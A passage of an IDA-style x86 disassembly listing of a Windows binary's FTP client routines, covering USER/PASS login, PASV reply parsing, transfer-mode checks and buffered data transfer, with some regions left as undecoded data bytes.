jz short loc_42E088
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_42E08C
add eax, 2
add esi, 2
test cl, cl
jnz short loc_42E064
loc_42E088: ; CODE XREF: sub_42DF40+130j
xor eax, eax
jmp short loc_42E091
; ---------------------------------------------------------------------------
loc_42E08C: ; CODE XREF: sub_42DF40+12Cj
; sub_42DF40+13Cj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_42E091: ; CODE XREF: sub_42DF40+14Aj
test eax, eax
jnz short loc_42E0F2
mov byte ptr [ebp+0], 0Ah
mov [ebp+1], al
mov eax, [esp+18h+var_8]
pop edi
dec eax
pop esi
pop ebp
mov [esp+0Ch+var_8], eax
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0AD: ; CODE XREF: sub_42DF40+96j
mov eax, [esp+18h+arg_0]
pop edi
pop esi
pop ebp
mov byte ptr [eax], 0
mov eax, [esp+0Ch+var_8]
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0C0: ; CODE XREF: sub_42DF40+C1j
mov eax, [esp+18h+var_8]
test eax, eax
jnz short loc_42E0F2
pop edi
mov [esp+14h+var_8], 0FFFFFFFFh
mov eax, [esp+14h+var_8]
pop esi
pop ebp
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_42E0DC: ; CODE XREF: sub_42DF40+EDj
push offset aRead ; "read"
call near ptr 77C36DF2h
nop
add esp, 4
mov [esp+18h+var_8], 0FFFFFFFFh
loc_42E0F2: ; CODE XREF: sub_42DF40+D2j
; sub_42DF40+153j ...
mov eax, [esp+18h+var_8]
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_42DF40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E170 proc near ; CODE XREF: sub_42DF40+C8p
; sub_42EF60:loc_42EF8Dp ...
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
sub esp, 10Ch
push ebx
push ebp
push esi
mov esi, [esp+118h+arg_0]
xor ebx, ebx
xor ebp, ebp
mov eax, [esi+18h]
test eax, eax
jz loc_42E253
mov ecx, [esi+30h]
test ecx, ecx
jz loc_42E253
cmp eax, 2
jnz short loc_42E1A5
lea ebp, [esp+118h+var_104]
jmp short loc_42E1A9
; ---------------------------------------------------------------------------
loc_42E1A5: ; CODE XREF: sub_42E170+2Dj
lea ebx, [esp+118h+var_104]
loc_42E1A9: ; CODE XREF: sub_42E170+33j
xor eax, eax
push edi
mov [esp+11Ch+var_104], eax
loc_42E1B0: ; CODE XREF: sub_42E170+98j
cmp eax, 40h
jnb short loc_42E1C5
mov ecx, [esi+8]
mov [esp+eax*4+11Ch+var_100], ecx
mov eax, [esp+11Ch+var_104]
inc eax
mov [esp+11Ch+var_104], eax
loc_42E1C5: ; CODE XREF: sub_42E170+43j
mov edx, [esi+28h]
mov eax, [esi+2Ch]
lea ecx, [esp+11Ch+var_10C]
mov [esp+11Ch+var_10C], edx
mov edx, [esi+8]
push ecx
push 0
push ebp
inc edx
push ebx
push edx
mov [esp+130h+var_108], eax
call sub_438208
; ---------------------------------------------------------------------------
cmp eax, 0FFFFFFFFh
jz short loc_42E20A
test eax, eax
jg short loc_42E241
mov eax, [esi+34h]
mov ecx, [esi+38h]
push eax
push ecx
push esi
call dword ptr [esi+30h]
mov edi, eax
add esp, 0Ch
test edi, edi
jz short loc_42E246
mov eax, [esp+11Ch+var_104]
jmp short loc_42E1B0
; ---------------------------------------------------------------------------
loc_42E20A: ; CODE XREF: sub_42E170+79j
push 100h
xor edi, edi
nop
call near ptr 77C1F2BCh
mov edx, [eax]
push edx
nop
call near ptr 77C371FAh
add esp, 4
push eax
mov eax, [esi+1Ch]
add eax, 44h
push eax
call near ptr 77C47A90h
nop
add esp, 0Ch
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E241: ; CODE XREF: sub_42E170+7Dj
mov edi, 1
loc_42E246: ; CODE XREF: sub_42E170+92j
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 10Ch
retn
; ---------------------------------------------------------------------------
loc_42E253: ; CODE XREF: sub_42E170+19j
; sub_42E170+24j
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 10Ch
retn
sub_42E170 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 40h dup(0CCh)
; ---------------------------------------------------------------------------
loc_42E2B0: ; CODE XREF: ___:0040141Aj
mov eax, [esp+4]
xor ecx, ecx
dec eax
cmp eax, 4 ; switch 5 cases
ja loc_42E35F ; default
jmp off_42E364[eax*4] ; switch jump
loc_42E2C7: ; DATA XREF: ___:off_42E364o
mov eax, [esp+8] ; jumptable 0042E2C0 case 0
cmp eax, 1
jz short loc_42E2D9
cmp eax, 2
jnz loc_42E35F ; default
loc_42E2D9: ; CODE XREF: ___:0042E2CEj
mov ecx, [esp+0Ch]
mov [ecx+24h], eax
mov ecx, 1
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2E8: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov edx, [esp+0Ch] ; jumptable 0042E2C0 case 1
mov eax, [esp+8]
mov ecx, 1
mov [edx+30h], eax
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E2FB: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
push esi ; jumptable 0042E2C0 case 2
mov esi, [esp+0Ch]
mov eax, 10624DD3h
push edi
imul esi
mov edi, [esp+14h]
mov ecx, 1
sar edx, 6
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, esi
mov [edi+28h], edx
mov esi, 3E8h
cdq
idiv esi
lea eax, [edx+edx*4]
lea eax, [eax+eax*4]
lea edx, [eax+eax*4]
mov eax, ecx
shl edx, 3
mov [edi+2Ch], edx
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42E33C: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 3
mov edx, [esp+8]
mov ecx, 1
mov [eax+34h], edx
mov eax, ecx
retn
; ---------------------------------------------------------------------------
loc_42E34F: ; CODE XREF: ___:0042E2C0j
; DATA XREF: ___:off_42E364o
mov eax, [esp+0Ch] ; jumptable 0042E2C0 case 4
mov edx, [esp+8]
mov ecx, 1
mov [eax+3Ch], edx
loc_42E35F: ; CODE XREF: ___:0042E2BAj
; ___:0042E2D3j
mov eax, ecx ; default
retn
; ---------------------------------------------------------------------------
align 4
off_42E364 dd offset loc_42E2C7 ; DATA XREF: ___:0042E2C0r
dd offset loc_42E2E8 ; jump table for switch statement
dd offset loc_42E2FB
dd offset loc_42E33C
dd offset loc_42E34F
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E3C0 proc near ; CODE XREF: sub_402266j
var_40 = byte ptr -40h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
sub esp, 40h
or ecx, 0FFFFFFFFh
xor eax, eax
push ebx
push esi
push edi
mov edi, edx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov ebx, [esp+4Ch+arg_4]
or ecx, 0FFFFFFFFh
mov edi, ebx
repne scasb
not ecx
add ecx, 6
cmp ecx, 40h
ja short loc_42E451
mov edi, dword_511A6C
push edx
lea eax, [esp+50h+var_40]
push offset aUserS ; "USER %s"
push eax
call edi ; sprintf
mov esi, [esp+58h+arg_8]
lea ecx, [esp+58h+var_40]
push esi
push 33h
push ecx
call sub_42E490
add esp, 18h
test eax, eax
jnz short loc_42E42D
mov cl, [esi+44h]
pop edi
cmp cl, 32h
pop esi
setz al
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E42D: ; CODE XREF: sub_42E3C0+5Bj
push ebx
lea edx, [esp+50h+var_40]
push offset aPassS ; "PASS %s"
push edx
call edi ; sprintf
push esi
lea eax, [esp+5Ch+var_40]
push 32h
push eax
call sub_42E490
add esp, 18h
pop edi
pop esi
pop ebx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_42E451: ; CODE XREF: sub_42E3C0+1Bj
; sub_42E3C0+30j
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 40h
retn
sub_42E3C0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E490 proc near ; CODE XREF: sub_42E3C0+51p
; sub_42E3C0+82p ...
var_100 = byte ptr -100h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
sub esp, 100h
push ebx
mov ebx, [esp+104h+arg_8]
push esi
push edi
mov eax, [ebx+18h]
test eax, eax
jz short loc_42E4B3
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4B3: ; CODE XREF: sub_42E490+15j
mov eax, dword_5103B8
mov esi, [esp+10Ch+arg_0]
cmp eax, 2
jle short loc_42E4DC
mov eax, dword_511A90
push esi
add eax, 40h
push offset aS_0 ; "%s\n"
push eax
nop
call near ptr 77C40E13h
add esp, 0Ch
loc_42E4DC: ; CODE XREF: sub_42E490+32j
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
add ecx, 2
cmp ecx, 100h
jbe short loc_42E4FC
pop edi
pop esi
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E4FC: ; CODE XREF: sub_42E490+60j
push esi
lea ecx, [esp+110h+var_100]
push offset aS_3 ; "%s\r\n"
push ecx
call near ptr 77C3F931h
nop
lea edi, [esp+118h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
add esp, 0Ch
repne scasb
mov eax, [ebx+8]
push 0
not ecx
dec ecx
lea edx, [esp+110h+var_100]
push ecx
push edx
push eax
call sub_4381F6
sub_42E490 endp
; ---------------------------------------------------------------------------
db 85h
dd 681A7FC0h, 447480h, 88B4E890h, 0C4837780h, 5FC03304h
dd 0C4815B5Eh, 100h, 248C8BC3h, 114h, 0A5E85153h, 83FFFFF8h
dd 5E5F08C4h, 0C4815Bh, 0C3000001h, 2 dup(90909090h), 10h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42E5B0 proc near ; CODE XREF: sub_401F73j
var_100 = dword ptr -100h
var_FC = byte ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 100h
push ebx
push ebp
push esi
mov esi, [esp+10Ch+arg_0]
push edi
mov edi, [esp+110h+arg_4]
test esi, esi
jnz short loc_42E5FC
cmp edi, 4
jz short loc_42E5D6
cmp edi, 3
jnz short loc_42E5FC
loc_42E5D6: ; CODE XREF: sub_42E5B0+1Fj
mov eax, [esp+110h+arg_C]
push offset aMissingPathArg ; "Missing path argument for file transfer"...
add eax, 44h
push eax
nop
call near ptr 77C3F931h
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E5FC: ; CODE XREF: sub_42E5B0+1Aj
; sub_42E5B0+24j
mov ecx, [esp+110h+arg_8]
mov ebp, dword_511A6C
push ecx
lea edx, [esp+114h+var_100]
push offset dword_4474C8
push edx
call ebp ; sprintf
mov ebx, [esp+11Ch+arg_C]
lea eax, [esp+11Ch+var_100]
push ebx
push 32h
push eax
call sub_42E490
add esp, 18h
test eax, eax
jz loc_42E7BE
lea eax, [edi-1] ; switch 4 cases
cmp eax, 3
ja loc_42E7AF ; default
jmp off_42E7CC[eax*4] ; switch jump
loc_42E648: ; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474C0 ; jumptable 0042E641 case 1
mov dl, byte_4474C4
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E663: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov eax, dword_4474B8 ; jumptable 0042E641 case 2
mov cl, byte_4474BC
mov [esp+110h+var_100], eax
mov [esp+110h+var_FC], cl
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E67D: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov edx, dword_4474B0 ; jumptable 0042E641 case 3
mov al, byte_4474B4
mov [esp+110h+var_100], edx
mov [esp+110h+var_FC], al
mov ebp, 1
jmp short loc_42E6B0
; ---------------------------------------------------------------------------
loc_42E697: ; CODE XREF: sub_42E5B0+91j
; DATA XREF: ___:off_42E7CCo
mov ecx, dword_4474A8 ; jumptable 0042E641 case 4
mov dl, byte_4474AC
mov [esp+110h+var_100], ecx
mov [esp+110h+var_FC], dl
mov ebp, 2
loc_42E6B0: ; CODE XREF: sub_42E5B0+B1j
; sub_42E5B0+CBj ...
test esi, esi
jz short loc_42E703
lea edi, [esp+110h+var_100]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov edi, esi
mov edx, ecx
or ecx, 0FFFFFFFFh
mov byte ptr [esp+edx+110h+var_100], 20h
inc edx
repne scasb
not ecx
dec ecx
add ecx, edx
cmp ecx, 100h
jnb loc_42E7BE
mov edi, esi
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+edx+110h+var_100]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_42E703: ; CODE XREF: sub_42E5B0+102j
mov ecx, [esp+110h+arg_8]
mov esi, [esp+110h+arg_10]
push ebp
push ecx
push esi
push ebx
call sub_42E870
add esp, 10h
cmp eax, 0FFFFFFFFh
jz loc_42E7BE
push ebx
lea edx, [esp+114h+var_100]
push 31h
push edx
call sub_42E490
add esp, 0Ch
test eax, eax
jnz short loc_42E758
mov eax, [esi]
push eax
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E758: ; CODE XREF: sub_42E5B0+188j
mov ecx, [esi]
mov [ecx+1Ch], ebx
mov eax, [ebx+24h]
mov edx, [esi]
cmp eax, 2
mov [ebx+20h], edx
jnz short loc_42E79F
mov eax, [esi]
push ebx
push eax
call sub_42ED50
; ---------------------------------------------------------------------------
add esp, 8
test eax, eax
jnz short loc_42E79F
mov ecx, [esi]
push ecx
call sub_401BEF
add esp, 4
mov dword ptr [esi], 0
mov dword ptr [ebx+20h], 0
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E79F: ; CODE XREF: sub_42E5B0+1B8j
; sub_42E5B0+1C8j
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 100h
retn
; ---------------------------------------------------------------------------
loc_42E7AF: ; CODE XREF: sub_42E5B0+8Bj
push edi ; default
add ebx, 44h
push offset aInvalidOpenTyp ; "Invalid open type %d\n"
push ebx
call ebp ; sprintf
add esp, 0Ch
loc_42E7BE: ; CODE XREF: sub_42E5B0+7Fj
; sub_42E5B0+12Cj ...
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 100h
retn
sub_42E5B0 endp
; ---------------------------------------------------------------------------
align 4
off_42E7CC dd offset loc_42E648 ; DATA XREF: sub_42E5B0+91r
dd offset loc_42E663 ; jump table for switch statement
dd offset loc_42E67D
dd offset loc_42E697
db 4 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42E870 proc near ; CODE XREF: sub_42E5B0+165p
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = word ptr -120h
var_11E = word ptr -11Eh
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_114 = byte ptr -114h
var_110 = byte ptr -110h
var_10C = byte ptr -10Ch
var_108 = byte ptr -108h
var_104 = byte ptr -104h
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
sub esp, 134h
push ebx
mov ebx, [esp+138h+arg_0]
push ebp
push esi
mov eax, [ebx+18h]
xor ebp, ebp
mov esi, 1
cmp eax, ebp
push edi
mov [esp+144h+var_120], bp
mov [esp+144h+var_11E], bp
mov [esp+144h+var_11C], esi
jnz loc_42EB94
mov eax, [esp+144h+arg_C]
cmp eax, esi
jz short loc_42E8D2
cmp eax, 2
jz short loc_42E8D2
push eax
add ebx, 44h
push offset aInvalidDirecti ; "Invalid direction %d\n"
push ebx
nop
call near ptr 77C3F931h
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E8D2: ; CODE XREF: sub_42E870+3Aj
; sub_42E870+3Fj
mov eax, [esp+144h+arg_8]
cmp eax, 41h
jz short loc_42E904
cmp eax, 49h
jz short loc_42E904
push eax
add ebx, 44h
push offset aInvalidModeC ; "Invalid mode %c\n"
push ebx
call near ptr 77C3F931h
nop
add esp, 0Ch
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebp
pop ebx
add esp, 134h
retn
; ---------------------------------------------------------------------------
loc_42E904: ; CODE XREF: sub_42E870+6Cj
; sub_42E870+71j
mov eax, [ebx+24h]
mov [esp+144h+var_124], 10h
cmp eax, esi
jnz loc_42E9E9
xor eax, eax
push ebx
mov [esp+148h+var_134], eax
push 32h
mov [esp+14Ch+var_130], eax
push offset aPasv ; "PASV"
mov [esp+150h+var_12C], eax
mov word ptr [esp+150h+var_134], 2
mov [esp+150h+var_128], eax
call sub_42E490
add esp, 0Ch
test eax, eax
jz loc_42EB94
lea ecx, [ebx+44h]
push 28h
push ecx
call near ptr 77C47660h
nop
add esp, 8
cmp eax, ebp
jz loc_42EB94
lea edx, [esp+144h+var_114]
lea ecx, [esp+144h+var_118]
push edx
push ecx
lea edx, [esp+14Ch+var_104]
lea ecx, [esp+14Ch+var_108]
push edx
push ecx
lea edx, [esp+154h+var_10C]
lea ecx, [esp+154h+var_110]
push edx
push ecx
inc eax
push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u"
push eax
call near ptr 77C41B72h
nop
mov dl, [esp+164h+var_110]
mov al, [esp+164h+var_10C]
mov cl, [esp+164h+var_108]
mov byte ptr [esp+164h+var_130], dl
mov dl, [esp+164h+var_104]
mov byte ptr [esp+164h+var_130+1], al
mov al, [esp+164h+var_118]
mov byte ptr [esp+164h+var_130+2], cl
mov cl, [esp+164h+var_114]
add esp, 20h
mov byte ptr [esp+144h+var_130+3], dl
mov byte ptr [esp+144h+var_134+2], al
mov byte ptr [esp+144h+var_134+3], cl
push 6
push esi
push 2
call sub_438232
; ---------------------------------------------------------------------------
db 8Bh
dd 0FFFF83F8h, 14684D75h, 90004474h, 808419E8h, 4C48377h
dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
loc_42E9E9: ; CODE XREF: sub_42E870+A1j
mov ecx, [ebx+8]
lea edx, [esp+144h+var_124]
lea eax, [esp+144h+var_134]
push edx
push eax
push ecx
call sub_438220
; ---------------------------------------------------------------------------
dd 0BD7DC085h, 44753468h, 0E7E89000h, 83778083h, 0C03304C4h
dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h
dd 0FFFF68h, 4BE85700h, 83000098h, 0A75FFF8h, 44740468h
dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h
dd 570000FFh, 9825E8h, 0FFF88300h, 4680A75h, 0E9004474h
dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
dd 0EC850FFFh, 68000000h, 447204h, 0FCE9h, 24548D00h, 52106A10h
dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752C68h
dd 5610EB00h, 9766E857h, 0C0850000h, 2468217Dh, 90004475h
dd 808335E8h, 4C48377h, 9736E857h, 5E5F0000h, 5BC0335Dh
dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 3DE85751h
dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h
dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h
dd 51500000h, 5C24548Dh, 44750868h, 0E8905200h, 77810DEDh
dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h
dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
dd 144h, 0D54DE856h, 8B90777Fh, 8C483F0h, 2275F53Bh, 4473FC68h
dd 67E89000h, 83778082h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------
loc_42EB94: ; CODE XREF: sub_42E870+2Bj
; sub_42E870+D2j ...
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
add esp, 134h
retn
sub_42E870 endp
; ---------------------------------------------------------------------------
dw 0BC83h
dd 15024h, 41754100h, 200068h, 50E89000h, 83777FD8h, 0C53B04C4h
dd 75144689h, 73FC682Ch, 0E8900044h, 77808226h, 5704C483h
dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h
dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh
dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h
dd 40h dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42ED50 proc near ; CODE XREF: sub_42E5B0+1BEp
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 124h
push ebx
mov ebx, [esp+128h+arg_0]
push ebp
push esi
mov esi, [esp+130h+arg_4]
mov eax, [ebx+8]
xor ebp, ebp
push edi
mov ecx, [esi+8]
mov [esp+134h+var_FC], eax
cmp ecx, eax
mov [esp+134h+var_100], ecx
mov [esp+134h+var_104], 2
mov [esp+134h+var_118], ebp
mov [esp+134h+var_11C], 1Eh
jge short loc_42ED92
mov ecx, eax
loc_42ED92: ; CODE XREF: sub_42ED50+3Ej
lea eax, [esp+134h+var_11C]
lea edx, [esp+134h+var_104]
push eax
push ebp
push ebp
inc ecx
push edx
push ecx
call sub_438208
sub_42ED50 endp
; ---------------------------------------------------------------------------
db 83h, 0F8h, 0FFh
dd 683E75h, 0E8000001h, 777F0508h, 50008B90h, 80843DE8h
dd 0C4839077h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
dd 0E8510CC4h, 9424h, 86B895Fh, 0C0335D5Eh, 24C4815Bh
dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 447594BEh, 0A4A5F300h
dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh
dd 0C3000001h, 10244C8Bh, 10068h, 7BE85100h, 90778083h
dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h, 86B890Ch
dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A7E85052h
dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h
dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)
; =============== S U B R O U T I N E =======================================
sub_42EF60 proc near ; CODE XREF: sub_40226Bj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 1
jz short loc_42EF71
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF71: ; CODE XREF: sub_42EF60+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42EF8D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42DF40
add esp, 0Ch
jmp short loc_42EFB4
; ---------------------------------------------------------------------------
loc_42EF8D: ; CODE XREF: sub_42EF60+17j
call sub_42E170
add esp, 4
cmp eax, 1
jz short loc_42EF9F
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EF9F: ; CODE XREF: sub_42EF60+38j
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
mov ecx, [esi+8]
push 0
push edx
push eax
push ecx
call sub_4381F0
; ---------------------------------------------------------------------------
loc_42EFB4: ; CODE XREF: sub_42EF60+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42EFC0
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFC0: ; CODE XREF: sub_42EF60+59j
mov ecx, [esi+38h]
add ecx, edi
mov [esi+38h], ecx
mov edx, ecx
mov ecx, [esi+30h]
test ecx, ecx
jz short loc_42EFFF
mov eax, [esi+3Ch]
test eax, eax
jz short loc_42EFFF
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, eax
pop ebx
jle short loc_42EFFF
mov eax, [esi+34h]
push eax
push edx
push esi
call ecx
add esp, 0Ch
test eax, eax
jnz short loc_42EFF8
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_42EFF8: ; CODE XREF: sub_42EF60+93j
mov dword ptr [esi+40h], 0
loc_42EFFF: ; CODE XREF: sub_42EF60+6Fj
; sub_42EF60+76j ...
mov eax, edi
pop edi
pop esi
retn
sub_42EF60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F040 proc near ; CODE XREF: sub_402216j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
push edi
cmp dword ptr [esi+18h], 2
jz short loc_42F051
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F051: ; CODE XREF: sub_42F040+Aj
mov eax, [esi+14h]
push esi
test eax, eax
jz short loc_42F06D
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_0]
push eax
push ecx
call sub_42F110
add esp, 0Ch
jmp short loc_42F08A
; ---------------------------------------------------------------------------
loc_42F06D: ; CODE XREF: sub_42F040+17j
call sub_42E170
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
mov ecx, [esi+8]
add esp, 4
push 0
push edx
push eax
push ecx
call sub_4381F6
; ---------------------------------------------------------------------------
loc_42F08A: ; CODE XREF: sub_42F040+2Bj
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_42F096
pop edi
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_42F096: ; CODE XREF: sub_42F040+4Fj
mov edx, [esi+38h]
mov eax, [esi+30h]
add edx, edi
test eax, eax
mov [esi+38h], edx
jz short loc_42F0CC
mov ecx, [esi+3Ch]
test ecx, ecx
jz short loc_42F0CC
push ebx
mov ebx, [esi+40h]
add ebx, edi
mov [esi+40h], ebx
cmp ebx, ecx
pop ebx
jle short loc_42F0CC
mov ecx, [esi+34h]
push ecx
push edx
push esi
call eax
add esp, 0Ch
mov dword ptr [esi+40h], 0
loc_42F0CC: ; CODE XREF: sub_42F040+63j
; sub_42F040+6Aj ...
mov eax, edi
pop edi
pop esi
retn
sub_42F040 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42F110 proc near ; CODE XREF: sub_42F040+23p
; sub_42F2C0+28p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_8]
push esi
xor esi, esi
xor al, al
mov ecx, [ebp+18h]
push edi
cmp ecx, 2
jz short loc_42F12C
pop edi
pop esi
pop ebp
or eax, 0FFFFFFFFh
pop ebx
retn
; ---------------------------------------------------------------------------
loc_42F12C: ; CODE XREF: sub_42F110+12j
mov ecx, [esp+10h+arg_4]
mov edi, [ebp+14h]
xor ebx, ebx
test ecx, ecx
jle loc_42F254
loc_42F13D: ; CODE XREF: sub_42F110+AFj
mov ecx, [esp+10h+arg_0]
cmp byte ptr [ebx+ecx], 0Ah
jnz short loc_42F17E
cmp al, 0Dh
jz short loc_42F17E
cmp esi, 2000h
jnz short loc_42F179
push ebp
call sub_42E170
